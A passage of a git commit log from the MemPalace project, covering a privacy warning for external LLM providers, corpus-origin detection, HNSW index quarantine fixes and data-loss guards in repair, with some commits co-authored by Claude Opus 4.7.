  compares to `detect_origin_heuristic` directly so a future regression
  letting Tier 2 confidence leak through cannot pass silently.

Tests: 1378 pass. Ruff check + format both clean (CI-pinned 0.4.x).
2026-04-26 19:18:57 -03:00
Igor Lins e Silva 4d33f14988 Merge pull request #1224 from MemPalace/feat/privacy-warn-external-llm
feat(privacy): warn when LLM tier sends content to external API
2026-04-26 19:18:13 -03:00
MSL 4400734867 feat(privacy): warn when LLM tier sends content to external API
4 files changed, 248 insertions, 0 deletions. 7 new tests (4 unit + 3 integration), all RED-first.

Per @milla-jovovich's question to @igorls during PR #1221 review: users
running `mempalace init` with an external LLM provider (Anthropic API,
OpenAI hosted, etc.) need a clear, explicit warning that their folder
content will be sent to the provider, that MemPalace doesn't control
how the provider logs/retains/uses that data, and how to opt out.
@igorls confirmed this should be a small follow-up PR scoped to the
warning itself, before the v3.3.4 tag.

This PR adds:

- `_endpoint_is_local(url)` helper in `mempalace/llm_client.py` —
  URL-based heuristic returning True if the hostname is on the user's
  machine or private network. Covers: localhost, 127.0.0.1, ::1,
  hostnames ending in .local (mDNS/Bonjour), IPv4 RFC1918 ranges
  (10/8, 172.16-31/12, 192.168/16), and IPv6 unique-local addresses
  (fc00::/7).

- `is_external_service` property on the `LLMProvider` base class.
  Subclasses inherit; the URL determines (no provider-specific
  hardcoding). This means: Ollama on localhost = local. LM Studio on
  LAN = local. Anthropic with default `https://api.anthropic.com` =
  external. A user proxying Anthropic through localhost (advanced
  setup) = local, no false-positive warning.

- One-line warning print in `cmd_init` after successful provider
  acquisition, gated on `is_external_service`:

      ⚠ {provider_name} is an EXTERNAL API. Your folder content will be
      sent to the provider during init. MemPalace does not control how
      the provider logs, retains, or uses your data. Pass --no-llm to
      keep init fully local.

  The warning fires AFTER `LLM enabled: ...` so users see both that
  the LLM is engaged AND the privacy implications of where it lives,
  before Pass 0 / entity detection actually runs.

LOCAL providers (Ollama on localhost, LM Studio on localhost or LAN,
llama.cpp on localhost, vLLM on localhost) DO NOT trigger the warning —
nothing leaves the user's machine/network in those configurations.

TDD: 7 tests added across 2 files.

Unit tests in `tests/test_llm_client.py` (4 tests, all RED-first):

1. test_ollama_provider_default_endpoint_is_local — pins that the
   default `http://localhost:11434` is classified local.
2. test_openai_compat_provider_localhost_endpoint_is_local — covers
   the LM Studio / llama.cpp / vLLM common case (localhost,
   127.0.0.1, and 192.168.x LAN).
3. test_openai_compat_provider_cloud_endpoint_is_external — pins
   that pointing openai-compat at https://api.openai.com (or any
   non-local URL) classifies as external.
4. test_anthropic_provider_default_endpoint_is_external — pins that
   AnthropicProvider's default endpoint is external (the dominant
   user-facing case for `--llm-provider anthropic`).

Integration tests in `tests/test_corpus_origin_integration.py` (3 tests,
RED-first; 1 was the critical RED — the other 2 passed by accident
since nothing printed "EXTERNAL API" before this PR):

5. test_init_prints_privacy_warning_when_provider_is_external —
   captures stdout from cmd_init with a mocked external provider,
   asserts the warning text contains "EXTERNAL API" + "--no-llm" +
   language about MemPalace not controlling provider behavior.
6. test_init_no_privacy_warning_when_provider_is_local — same flow
   with a mocked local provider, asserts the warning text does NOT
   appear.
7. test_init_no_privacy_warning_with_no_llm_flag — pins the --no-llm
   path: no provider acquisition attempted, no warning fires.

Tests: 1382 total mempalace tests pass. 2 pre-existing environmental
failures unrelated to this change (chromadb optional dep). Ruff check +
format both clean.

Backwards compatible: `is_external_service` is a new property; existing
callers don't reference it. The warning is a new print statement that
fires only when an external endpoint is acquired. The `--no-llm` opt-out
existed before this PR and continues to work identically.

Out of scope for follow-up (deliberately not in this PR per Igor's
"small PR" guidance): Tailscale CGNAT (100.64.0.0/10) treatment,
pre-init confirmation prompt, persistent privacy-mode config flag,
explicit cloud-provider name detection. Tracked for future iteration.
2026-04-26 14:43:20 -07:00
Igor Lins e Silva 414aa3e20b Merge pull request #1198 from jphein/fix/tokenize-none-guard
fix(searcher): tolerate None documents in BM25 reranker
2026-04-26 18:41:07 -03:00
Igor Lins e Silva 30fc0ab865 Merge pull request #1201 from jphein/fix/palace-graph-none-metadata
fix(palace_graph): skip None metadata in build_graph
2026-04-26 18:37:52 -03:00
Igor Lins e Silva 025dd03047 Merge pull request #1177 from jphein/fix/blob-seq-marker-guard
fix: skip _fix_blob_seq_ids sqlite open on already-migrated palaces (#1090)
2026-04-26 18:28:55 -03:00
Igor Lins e Silva 0908786921 Merge pull request #1221 from MemPalace/feat/corpus-origin-merge-tier-fields
feat(corpus-origin): merge LLM fields into heuristic result instead of replacing
2026-04-26 18:27:51 -03:00
Igor Lins e Silva 8a1fd95b1b style: drop unused pathlib.Path imports in marker tests 2026-04-26 18:23:31 -03:00
Igor Lins e Silva 4aa93e82ad Merge pull request #1173 from jphein/fix/quarantine-on-make-client
fix: call quarantine_stale_hnsw() in make_client(); lower threshold to 5min
2026-04-26 18:22:14 -03:00
Igor Lins e Silva 43aa1aa24e style: ruff format under CI-pinned 0.4.x 2026-04-26 18:19:15 -03:00
MSL 7294b69ac8 feat(corpus-origin): merge LLM fields into heuristic result instead of replacing
2 files changed, 260 insertions, 7 deletions. 4 new tests (all RED-first).

Per @igorls's review of PR #1211 (https://github.com/MemPalace/mempalace/pull/1211#issuecomment-4322762236):
the corpus-origin Pass 0 currently lets a Tier 2 LLM result REPLACE the
heuristic result wholesale. With ``--llm`` default-on (since #1211) and a
small local model like Ollama gemma4:e4b, the LLM can return a wrong
``likely_ai_dialogue=False, confidence=0.90`` that overrides a confident
heuristic ``True``. Tier 2's persona/user/platform extraction is the whole
reason to run it; the YES/NO call should stay with the heuristic.

This PR changes ``_run_pass_zero`` in ``mempalace/cli.py`` to merge fields
instead of replacing:

  - ``likely_ai_dialogue``  → KEEP heuristic's (don't let weak LLM flip)
  - ``confidence``          → KEEP heuristic's (paired with the bool above)
  - ``primary_platform``    → TAKE LLM's when LLM provides one
  - ``user_name``           → TAKE LLM's when LLM provides one
  - ``agent_persona_names`` → TAKE LLM's when LLM provides any
  - ``evidence``            → COMBINE both signal trails

This preserves the persona-extraction value of Tier 2 (the whole point of
running it) while preventing a weak local model from flipping a confident
heuristic.

TDD: 4 tests added in tests/test_corpus_origin_integration.py covering
the four state combinations:

1. test_merge_tier_fields_heuristic_yes_llm_no_keeps_heuristic_bool —
   The exact failure mode Igor caught. Heuristic confidently flags
   AI-dialogue; mocked LLM contradicts. Asserts merged result keeps
   heuristic's True AND merges LLM's persona/user/platform fields.
   This test was the RED that drove the implementation.

2. test_merge_tier_fields_heuristic_no_no_personas_leak —
   Both tiers agree NOT AI-dialogue, both report empty personas. Pins
   that the merge doesn't accidentally introduce personas.

3. test_merge_tier_fields_heuristic_yes_llm_yes_combines_evidence —
   Both tiers agree AI-dialogue, LLM extracts personas. Pins that
   evidence from BOTH tiers ends up in the merged audit trail and
   persona/user/platform come from LLM.

4. test_merge_tier_fields_no_llm_provider_returns_heuristic_only —
   Backwards compat: with no LLM provider (``--no-llm`` path), the
   merge logic doesn't fire and behavior is identical to v3.3.4.

Tests: 1367 pass on the full mempalace suite. 2 pre-existing
environmental failures unrelated to this change (chromadb optional
dep). Ruff check + format both clean.
2026-04-26 13:23:38 -07:00
jpandClaude Opus 4.7 247744296d fix(blob-seq-marker): tests + style nit per @igorls #1177 review
Three new tests cover the marker contract:

- test_fix_blob_seq_ids_writes_marker_after_blob_path — marker is
  written after a successful BLOB → INTEGER conversion.
- test_fix_blob_seq_ids_writes_marker_when_already_integer — marker
  is written even on a no-op (already-INTEGER) path. The point of
  the marker is to skip sqlite3.connect() on subsequent calls, not
  to record that a conversion happened.
- test_fix_blob_seq_ids_skips_sqlite_when_marker_present — verifies
  the load-bearing property via monkeypatched sqlite3.connect: when
  the marker exists, the function never opens sqlite. This is the
  bug #1090 fix — opening Python's sqlite3 against a live ChromaDB
  1.5.x WAL DB corrupts the next PersistentClient call, and we
  must never do it again post-migration.

Also folded in @igorls's style nit:

- Path(marker).touch() instead of open(marker, "a").close().
  Same effect, reads cleaner. Moved Path import to the top of the
  module since it didn't yet exist there.

35/35 backend tests pass. The "Production: fresh MCP server + stop
hook + mempalace mine subprocess" checkbox in the PR body is checked
in the PR reply — the canonical 151K palace has been running this
fix since #1177 was filed (via Syncthing-replicated source on the
disks daemon at v1.7.0); zero PersistentClient corruption since.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-26 13:21:50 -07:00
jpandClaude Opus 4.7 942aae3ed5 fix(hnsw): address @igorls's #1173 review
Restore three `_pin_hnsw_threads` tests that the previous integrity-gate
commit deleted. The function is still live code on develop (defined at
chroma.py:207, called from chroma.py:705 + mcp_server.py), so the
deletion left the import unused (ruff F401) and dropped coverage on a
function unrelated to this PR's scope. Restored verbatim from main.

Plus three nits @igorls flagged:

- **Thread-safety doc**: `_quarantined_paths` mutation is lock-free;
  documented that idempotency of `quarantine_stale_hnsw` is the safety
  property (concurrent same-palace calls produce a benign redundant
  rename attempt that no-ops, no need for a lock).
- **Pickle protocol assumption**: `_segment_appears_healthy` requires
  PROTO ≥ 2 (`0x80`). Documented; matches what chromadb writes today,
  and a future protocol-0/1 emission would conservatively quarantine
  + lazy-rebuild rather than mis-classify as healthy.
- Class-level vs module-level scope: keeping class-level — the
  conftest reset is the controlled case, and module-level wouldn't
  remove the foot-gun, just relocate it. Conftest reset documented in
  the existing comment is the right pattern for test isolation.

Style nit (`Path(marker).touch()` vs `open(marker, "a").close()`)
deferred — that pattern lives in #1177's territory, not #1173's.

37/37 tests pass on the PR branch.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-26 13:20:14 -07:00
Igor Lins e Silva 9d18a1c32e Merge pull request #1211 from MemPalace/feat/corpus-origin
feat(init): context-aware corpus detection
2026-04-26 16:53:36 -03:00
MSL b99e54546b feat(init): context-aware corpus detection
10 files changed. 2,563 insertions, 30 deletions. 48 new tests, including end-to-end coverage live-tested with Anthropic Haiku 4.5.

This PR overhauls the first-run experience of `mempalace init` end-to-end, ships a new corpus-origin detection module from scratch, wires it into entity classification and LLM refinement, adds a graceful-fallback path that means `init` never crashes on a missing LLM, and ships a meta-test that prevents internal-coordination jargon from leaking into source or tests.

The headline change is that `mempalace init` now understands what kind of folder you're pointing it at — AI conversations, regular writing, code, narrative — and adapts how it classifies entities accordingly. The same folder containing `Echo`, `Sparrow`, and `Cipher` (names you've assigned to AI agents) used to dump those into your "people" list alongside biological humans. Now they go into a separate `agent_personas` bucket, and your `people` list stays clean.

But the broader change is that `mempalace init` got upgraded across the board — smarter defaults, smarter degradation, smarter classification, smarter persistence, and a new way to refresh as your folder grows. Built and live-verified with Anthropic Haiku 4.5; runs unmodified on the local LLM runtimes mempalace already supports.

## What changes for users (in order, from `pip install` onwards)

**Install** — `pip install mempalace` is unchanged. The package itself didn't shift.

**First run — `mempalace init <folder>`:**

1. **`init` examines your folder before classifying anything.** A free regex heuristic decides in milliseconds: AI conversations, regular writing, narrative, or code? If an LLM is reachable, a second pass extracts the corpus author's name and any agent persona names from the dialogue. v3.3.3 had no such step — it dove straight into entity detection with no corpus context.

2. **LLM-assisted classification is now ON by default.** v3.3.3 made `--llm` opt-in. The LLM-assisted path is qualitatively better (extracts persona names, refines ambiguous classifications, gives the model corpus context) so it now runs by default. The provider abstraction is unchanged from v3.3.3 — three buckets are supported by `mempalace.llm_client`:
   - **Anthropic** (`--llm-provider anthropic` + `ANTHROPIC_API_KEY`) — the official Messages API. **This is the path live-verified end-to-end in this PR with Haiku 4.5.** Cost: ~\$0.01 per `init`.
   - **Ollama** (`--llm-provider ollama` — the default) — local models via `http://localhost:11434`. Fully offline. Honors the "zero-API required" promise.
   - **OpenAI-compatible** (`--llm-provider openai-compat` + `--llm-endpoint`) — per the v3.3.3 `mempalace/llm_client.py` docstring, this covers "OpenRouter, LM Studio, llama.cpp server, vLLM, Groq, Fireworks, Together, and most self-hosted setups." We did not test each of those individually as part of this PR; the abstraction has been stable since v3.3.3. If you try this PR with a specific provider and hit a quirk, please file an issue or comment here.

3. **`init` never blocks on a missing LLM.** No Ollama running, no API key set? `init` prints a one-line message pointing at `--no-llm` and falls through to the heuristic-only path. New default behavior, new graceful fallback to support it. `--no-llm` is the new explicit opt-out.

4. **`init` shows you what it detected.** A one-line banner — `Detected: Claude (Anthropic) (user: Jordan, agents: Echo, Sparrow, Cipher)` or `Corpus origin: not AI-dialogue (confidence: 0.98)` — tells you at a glance whether mempalace understood your folder.

5. **Entity classification gets smarter across the board.** Even non-persona candidates benefit: the LLM has corpus context (this is AI-dialogue, this is the user's name, these are agent names) and uses it to disambiguate ambiguous candidates that aren't personas at all.

6. **Agent personas live in their own bucket.** Names you've assigned to AI agents (Echo, Sparrow, Cipher) go into a new `agent_personas` bucket instead of your `people` list. Your real-person entity list stays clean.

7. **Detection result persists to `<palace>/.mempalace/origin.json`** with a `schema_version: 1` envelope, so downstream tools can read it.

8. **Re-running `init` is now idempotent.** Bug fix — running `init` twice on the same folder used to give different classification results because the detection step was sampling its own `entities.json` output. Caught by integration testing during this PR.

**Later — when your folder grows:**

9. **`mempalace mine --redetect-origin`** is a new flag for refreshing the stored detection without redoing the whole `init`. Heuristic-only by design (the flag is meant to be cheap). If you want the full LLM-extracted detection refreshed (persona names, user name, etc.), run `mempalace init <yourfolder>` again — `init` is now idempotent (item 8), so re-running it on the same folder is safe.

## Behind the changes

- **New module** `mempalace/corpus_origin.py` (422 lines) with two-tier detection: regex heuristic with co-occurrence rule (suppresses ambiguous terms like `Claude` / `Gemini` / `Haiku` when no unambiguous AI signal is present, so French novels, astrology forums, poetry corpora, llama-rancher journals don't false-positive), and LLM tier that extracts `user_name` and `agent_persona_names` from dialogue structure with belt-and-suspenders user-vs-agent disambiguation.

- **Entity-classification consumer wiring.** `entity_detector.detect_entities` and `project_scanner.discover_entities` accept an optional `corpus_origin` kwarg. When present and the corpus is identified as AI-dialogue, candidates whose name case-insensitively matches an `agent_persona_name` are routed into the `agent_personas` bucket instead of `people`. Per-entity `type` is rewritten to `"agent_persona"`.

- **LLM-refine consumer wiring.** `llm_refine.refine_entities` accepts the same `corpus_origin` kwarg and prepends a `CORPUS CONTEXT` preamble to its system prompt giving the LLM the platform / user / persona context. Existing `TOPIC` / `PERSON` / `PROJECT` / `COMMON_WORD` / `AMBIGUOUS` labels are unchanged.

- **`init` overhaul.** Pass 0 (corpus-origin detection) inserted before existing Pass 1 (entity discovery). `--llm` flipped to default-on. `--no-llm` added. Graceful-fallback path replaces the previous hard-error on missing LLM. Provider precedence unchanged from the existing `llm_client` module.

- **`mine` flag.** `mempalace mine --redetect-origin` re-runs corpus-origin detection on the current corpus state and overwrites `<palace>/.mempalace/origin.json`.

- **`CLAUDE.md` design principle reworded** — "Local-first, zero external API by default." Local LLMs running on `localhost` (Ollama, LM Studio, llama.cpp, vLLM, unsloth studio) are part of the user's machine, not external APIs. External BYOK providers (Anthropic, OpenAI, Google) are supported but always opt-in, never default, never silent fallback.

## Cost story

- **Anthropic (verified path):** ~\$0.01 per `init` via Haiku 4.5 with `ANTHROPIC_API_KEY`.
- **Ollama / local LLM runtime:** zero cost. Fully offline.
- **OpenAI-compatible service:** depends entirely on the service. The abstraction supports any service speaking the standard `/v1/chat/completions` API; specific quirks vary per provider. Try it and tell us how it goes.
- **No LLM at all:** graceful fallback to heuristic-only. Zero cost. `init` never blocks.

## Backwards compatibility

- All public function signatures gained the `corpus_origin` kwarg as optional (default `None`). Callers that don't pass it see the v3.3.3 return shape unchanged — no `agent_personas` key, no behavioral change.
- The `--llm` CLI flag is preserved as a deprecated alias of the default. Existing scripts that pass it continue to work.
- `corpus_origin=None` keeps `llm_refine.SYSTEM_PROMPT` byte-identical to v3.3.3.

## Test coverage

- **19 unit tests** in `tests/test_corpus_origin.py` covering both tiers, the co-occurrence rule, ambiguous-term suppression, word-boundary brand matching, and user/persona disambiguation.
- **29 integration tests** in `tests/test_corpus_origin_integration.py` covering end-to-end through `mempalace init`, persona reclassification, the `--redetect-origin` flag, the `--llm` default flip, graceful fallback paths, and re-init idempotency. Of those 29, five specifically cover the intersection with develop's other in-flight work (Pass 0 ↔ auto-mine ordering, topics + agent_personas bucket coexistence, entities.json shape, the `wing=` kwarg threading, llm_refine TOPIC label + corpus_origin preamble composition).
- **1354 total mempalace tests pass.** 2 pre-existing environmental failures (`test_mcp_stdio_protection` — chromadb optional dep) unrelated to this change; they fail on plain `develop` too.
- **Live-smoke-tested** with real Anthropic Haiku 4.5 on AI-dialogue and narrative fixtures.

## Hygiene guardrail

This PR also adds a meta-test (`test_no_internal_coordination_jargon_in_source_or_tests`) that walks the source tree and asserts no internal-coordination jargon (e.g. development-phase markers, internal review-section references) leaks into runtime code, comments, docstrings, or LLM prompts. RED if anything slips in. Allowlist for legitimate RFC/spec section citations in `sources/`, `backends/`, `knowledge_graph.py`, and `i18n/`.
2026-04-26 12:37:26 -07:00
Igor Lins e Silva 5de5b0923d Merge pull request #936 from shaun0927/fix/diary-topic-sanitize
fix: sanitize topic parameter in tool_diary_write
2026-04-26 16:12:37 -03:00
jpandClaude Opus 4.7 74ff5e6b98 fix(hnsw): integrity gate in quarantine_stale_hnsw — corruption vs flush-lag
Previous: quarantine fired whenever sqlite_mtime - hnsw_mtime exceeded
the (lowered, in #1173) 300s threshold. ChromaDB 1.5.x flushes HNSW
asynchronously and a clean shutdown does not force-flush, so the on-
disk HNSW is *always* meaningfully older than chroma.sqlite3 — that's
the steady state, not corruption. Quarantine renamed valid HNSW
segments on every cold-start, chromadb created empty replacements,
vector recall went to 0/N until rebuild.

Confirmed in production on the disks daemon journal, 2026-04-26
06:56:45: three of three HNSW segments quarantined on cold-start with
538-557s mtime gaps (post-clean-shutdown flush lag), leaving a
151,478-drawer palace with vector_ranked=0. Drift directories at
*.drift-20260426-065645/ each contained a complete 253MB data_level0.bin
plus 18MB index_metadata.pickle — clearly healthy indexes, renamed by
the false-positive heuristic.

Fix: two-stage gate.

  1. mtime gate (existing) — gap > stale_seconds is necessary.
  2. integrity gate (new) — sniff index_metadata.pickle for chromadb's
     expected protocol/terminator bytes (PROTO 0x80 head, STOP 0x2e
     tail) and a non-trivial size, WITHOUT deserializing the file.
     Healthy segment with mtime drift → keep in place; truncated /
     zero-filled / partial-flush → quarantine.

Format-sniff is deliberately non-deserializing — pickle deserialization
can execute arbitrary code, and the PROTO+STOP byte presence + size
floor is sufficient to distinguish a complete chromadb write from
truncation, zero-fill, or a partial flush during process kill. Real
load failures (the rare case where the bytes look right but chromadb
fails to load) still surface to palace-daemon's _auto_repair, which
calls quarantine_stale_hnsw directly on observed HNSW errors and
bypasses this gate.

The cold-start gate from 70c4bc6 (row 24) remains as a perf optimization
— even with the integrity check, repeating the sniff on every reconnect
is unnecessary work — but its load-bearing role is now covered by this
deeper fix.

4 new tests in test_backends.py:

  - test_quarantine_stale_hnsw_renames_corrupt_segment (drift + bad meta)
  - test_quarantine_stale_hnsw_leaves_healthy_segment_with_drift_alone
    (drift + valid meta — the production case at 06:24)
  - test_quarantine_stale_hnsw_leaves_segment_without_metadata_alone
    (fresh / never-flushed, no meta file)
  - test_quarantine_stale_hnsw_renames_truncated_metadata (under-floor
    size, partial-flush shape)

Existing test_quarantine_stale_hnsw_renames_drifted_segment renamed
to renames_corrupt_segment with explicit corrupt meta_bytes — the old
"renames any drift" contract is gone.

Suite 1366/1366 pass.

Coordinated cross-repo with palace-daemon's auto-repair-on-startup
workaround (separate agent's commit ed3a892). With this fork-side fix
the auto-repair becomes belt-and-suspenders; the structural cause
of empty-HNSW-on-restart is addressed at the quarantine layer.

CLAUDE.md row 26 + README fork-change-queue row + test count
1363→1366.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-26 09:40:25 -07:00
jpandClaude Opus 4.7 e5e7a57930 fix(hnsw): gate quarantine_stale_hnsw to cold-start, not every reconnect
Symptom on the canonical disks daemon: drift quarantines firing every
10–30 minutes throughout the day under steady write load. Logs show
.drift-* directories accumulating despite the daemon being the only
writer (no Syncthing replication of palace data).

Root cause is a false-positive thrash in the quarantine heuristic:

- chroma.sqlite3 mtime bumps on every write (millisecond cadence).
- HNSW segment files (data_level0.bin) only flush to disk on
  chromadb's internal cadence, which can lag minutes behind sqlite
  under continuous write load.

Once the gap exceeds the 300s threshold, quarantine_stale_hnsw renames
a perfectly valid HNSW segment, chromadb rebuilds it from scratch, and
the cycle repeats as soon as the next batch of writes lands. The 300s
threshold (lowered from 3600s in PR #1173 after a 0.96h-drift production
segfault) is correct for the cross-machine-replication failure mode it
was designed for, but wrong for a daemon-strict deployment whose only
"drift" source is its own benign flush lag.

Fix: gate the proactive quarantine check to the first ``make_client()``
invocation per palace per process (``ChromaBackend._quarantined_paths``
set). Real cold-start drift (replication, partial restore, crashed-mid-
write) still gets caught — that's exactly when a fresh daemon process
opens the palace. Real runtime drift on observed HNSW errors still gets
caught via palace-daemon's ``_auto_repair`` which calls
``quarantine_stale_hnsw`` directly, bypassing this gate.

Two new tests in test_backends.py verify single-fire-per-palace and
per-palace independence. Conftest clears the gate between tests.

Suite 1362/1362 pass.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-26 09:40:25 -07:00
jp db80f6e26c fix: call quarantine_stale_hnsw() in make_client(); lower threshold to 5min
make_client() called _fix_blob_seq_ids but skipped quarantine_stale_hnsw,
so every fresh process (stop hook, precompact hook, CLI) opened a drifted
palace and segfaulted in chromadb_rust_bindings before any write-path
protection could fire.

#1062 wires the quarantine call at MCP server startup (covers long-lived
server processes). This fix adds it to make_client() itself — the call
site that all callers (server, hooks, CLI, tests) pass through — so every
fresh PersistentClient open is protected regardless of entry point.

Also lowers stale_seconds default from 3600 to 300: a 0.96h-drifted
segment caused production segfaults before the 1h threshold fired.
ChromaDB's HNSW flush cadence means legitimate drift is seconds to low
minutes; 5min gives headroom without admitting clearly corrupt segments.
2026-04-26 09:39:53 -07:00
Igor Lins e Silva 6890948e09 Merge pull request #1210 from MemPalace/fix/repair-extraction-cap-detection
fix(repair): refuse to overwrite when extraction looks truncated (#1208)
2026-04-26 04:49:01 -03:00
bensig 452630e927 fix(repair): refuse to overwrite when extraction looks truncated (#1208)
The user-reported case in #1208: a palace with 67,580 drawers had its
HNSW files manually quarantined to recover from corruption. ``mempalace
repair`` then ran cleanly and reported "Drawers found: 10000 ... Repair
complete. 10000 drawers rebuilt." Backup was the v3.3.3 chroma.sqlite3
that did contain the full 67,580 — but the rebuilt collection only had
the first 10K. 85% data loss, no warning.

Root cause: ChromaDB's collection-layer get() silently caps at
``CHROMADB_DEFAULT_GET_LIMIT = 10_000`` rows when reading from a
collection whose segment metadata is stale (typical post-quarantine
state). col.count() returns the same capped value, so neither the
loop bound nor the extraction count flagged the truncation.

Fix is defense-in-depth, not a recovery mechanism. Repair now:

1. After extraction, queries chroma.sqlite3 directly via a read-only
   sqlite3 connection: COUNT(*) FROM embeddings JOIN segments JOIN
   collections WHERE name='mempalace_drawers'. If that count exceeds
   the extracted count, abort with a clear message before any
   destructive operation.
2. Falls back to a weaker check when the SQLite query can't run
   (chromadb schema drift, locked file): if extracted exactly equals
   CHROMADB_DEFAULT_GET_LIMIT, that's a strong-enough cap signal to
   refuse without explicit acknowledgement.
3. Adds ``--confirm-truncation-ok`` (CLI) and ``confirm_truncation_ok``
   (rebuild_index kwarg) to override after independent verification.
   Useful for the rare case of a palace genuinely sized at exactly
   10,000 drawers.

The guard logic lives in ``repair.check_extraction_safety()`` so the
two extraction paths (CLI ``cmd_repair`` and the lower-level
``rebuild_index``) share a single implementation. Raises
``TruncationDetected`` carrying the printable message.

Tests: 9 new cases covering the safe path (counts match, SQLite
unreadable but well under cap), both abort paths (SQLite higher than
extracted, unreadable + at cap), the override flag, and end-to-end
behavior of ``rebuild_index`` with the guard wired in. Plus two
``sqlite_drawer_count`` tests for the missing-file and bad-schema
cases.

What's NOT in this PR: actually recovering the missing 57,580
drawers from the user's case. The on-disk SQLite still holds them;
recovery is a separate flow (direct-extract from chroma.sqlite3,
bypass the chromadb collection layer entirely). This PR's job is
to stop repair from making it worse.

Refs #1208.
2026-04-25 23:34:05 -07:00
Igor Lins e Silva 5e57404502 Merge pull request #935 from shaun0927/fix/repair-crash-safety
fix: guard against data loss in repair, migrate, and CLI rebuild
2026-04-25 20:49:23 -03:00
Igor Lins e Silva 34bc08fb30 Merge pull request #1205 from MemPalace/ci/python-313-windows-macos
ci: bump Windows and macOS jobs to Python 3.13
2026-04-25 20:03:12 -03:00
Igor Lins e Silva 57854c7e2e ci: bump Windows and macOS jobs to Python 3.13
3.11 is mid-life; 3.13 is already on the Linux matrix and gives ~3.5
years of upstream support. Aligns the single-version platform jobs with
the top of the Linux matrix. requires-python and lint job left alone.

Refs #1192 (Option A).
2026-04-25 19:59:05 -03:00
jpandClaude Opus 4.7 5b07b869b0 fix(palace_graph): skip None metadata in build_graph
ChromaDB can return None for drawers without metadata (legacy data,
partial writes — same root cause as upstream #1020 / our PR #1094).
build_graph at line 95 called meta.get("room", "") unconditionally,
which AttributeErrors on None and takes out every consumer of
build_graph for the whole call path: graph_stats, find_tunnels,
traverse, and (most visibly) the daemon's /stats endpoint.

Caught 2026-04-25 by palace-daemon's verify-routes.sh smoke test
against the canonical 151K-drawer palace — /stats was 500-ing on a
single None drawer.

Adds `if meta is None: continue` guard. Closes the same gap upstream's
#999 None-metadata audit closed in searcher.py / mcp_server.py /
miner.status, just in a different file the audit didn't reach. The
graph-build is recoverable: skipping a single None drawer doesn't
distort the graph since build_graph already filters
`room and room != "general" and wing` — a missing-metadata drawer was
never going to participate anyway.

Test: TestBuildGraph::test_none_metadata_does_not_crash mixes a None
entry into a 3-drawer fixture and asserts the two real drawers are
processed normally.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-25 11:06:32 -07:00
jp bc24aa14e2 fix: skip _fix_blob_seq_ids sqlite open on already-migrated palaces (#1090)
Opening chroma.sqlite3 via Python's sqlite3.connect() against a live
ChromaDB 1.5.x WAL-mode database leaves state that segfaults the next
PersistentClient call — the same failure mode tracked at #1090.

_fix_blob_seq_ids runs unconditionally on every make_client() call, so
every fresh process (MCP server, stop hook, CLI) re-triggers the sqlite
open → corrupt → segfault cycle on palaces that have already completed
the 0.6.x → 1.5.x seq_id migration.

Guard with a .blob_seq_ids_migrated marker file in the palace directory:
- If marker exists, return immediately — skip sqlite entirely
- After successful migration (or confirmation that no BLOBs remain),
  write the marker so subsequent opens take the fast path
- Palaces that never had BLOB seq_ids also get the marker on first open,
  so they too avoid the redundant sqlite open after that
- Already-migrated palaces can touch the marker manually to opt in

Test plan: Direct test — run _fix_blob_seq_ids twice against a fresh
palace; second call returns immediately because marker exists. 1094
existing tests pass.
2026-04-25 07:42:05 -07:00
jpandClaude Opus 4.7 67248330c5 chore: ruff format tests/test_searcher.py
CI lint job runs `ruff format --check`; the new tests in TestBM25NoneSafety
needed the standard "blank line after import-inside-function" + line-length
wrap. No logic change — formatter pass only.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-25 07:22:53 -07:00
jpandClaude Opus 4.7 ee12c07c54 fix(searcher): tolerate None documents in BM25 reranker
`_tokenize` calls `text.lower()` unconditionally; when ChromaDB returns a
drawer with `documents` containing `None`, the hybrid-rerank path raises
`AttributeError: 'NoneType' object has no attribute 'lower'`.

Observed in production daemon log (2026-04-24 21:07:05) during a search
that triggered `_hybrid_rank → _bm25_scores → _tokenize`:

    File "mempalace/searcher.py", line 81, in _bm25_scores
        tokenized = [_tokenize(d) for d in documents]
    File "mempalace/searcher.py", line 52, in _tokenize
        return _TOKEN_RE.findall(text.lower())
    AttributeError: 'NoneType' object has no attribute 'lower'

Closes the gap left by the upstream None-metadata audit (#999), which
covered metadata loops but not BM25 helpers. Returns `[]` for falsy input
so a None doc gets score 0.0 while the rest of the corpus reranks normally.

Three regression tests in TestBM25NoneSafety lock the behavior and reference
the production trace.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-25 06:27:14 -07:00
Igor Lins e Silva 0d9929c0dd Merge pull request #976 from felipetruman/fix/hnsw-race-and-fanout
fix: HNSW graph corruption, PreCompact deadlock, mine fan-out (closes #974, #965, #955)
2026-04-25 05:00:14 -03:00
Igor Lins e Silva 7773432bca chore(rebase): reconcile with develop and apply ruff format
After rebasing onto current develop:
- chroma.py: keep develop's quarantine_stale_hnsw + UnsupportedFilterError
  validation alongside this PR's _pin_hnsw_threads retrofit.
- tests/test_backends.py: combine quarantine_stale_hnsw and
  _pin_hnsw_threads test sections; ruff format.
- miner.py: propagate the new `files=` kwarg (added on develop in #1183
  for the init -> mine flow) through _mine_impl so the caller can pass
  a pre-scanned file list under the global lock.
2026-04-25 04:39:31 -03:00
Felipe Truman 8df944a54d fix: best-effort HNSW thread-pin retrofit + drop dead attempt-cap constant
Addresses remaining PR #976 review items after rebase on develop.

`get_collection(create=False)` previously returned existing collections without
re-applying `hnsw:num_threads=1`, so palaces created before the fix kept the
unsafe parallel-insert path. Add `_pin_hnsw_threads()` helper that calls
`collection.modify(configuration=UpdateCollectionConfiguration(
hnsw=UpdateHNSWConfiguration(num_threads=1)))` best-effort on every
`get_collection` call (including the MCP server's `_get_collection`).

In chromadb 1.5.x the runtime config does not persist to disk across
`PersistentClient` reopens, so the retrofit is re-applied each process start
rather than being a one-shot migration. Fresh palaces keep the metadata-based
pin as primary defense; legacy palaces now also get per-session protection
without requiring `mempalace nuke` + re-mine.

After the rebase on develop, `hook_precompact` delegates to `_mine_sync` and
no longer emits `decision: block`, so the attempt-cap constant was orphaned.
Grep confirms 0 usages in the repo — remove it.

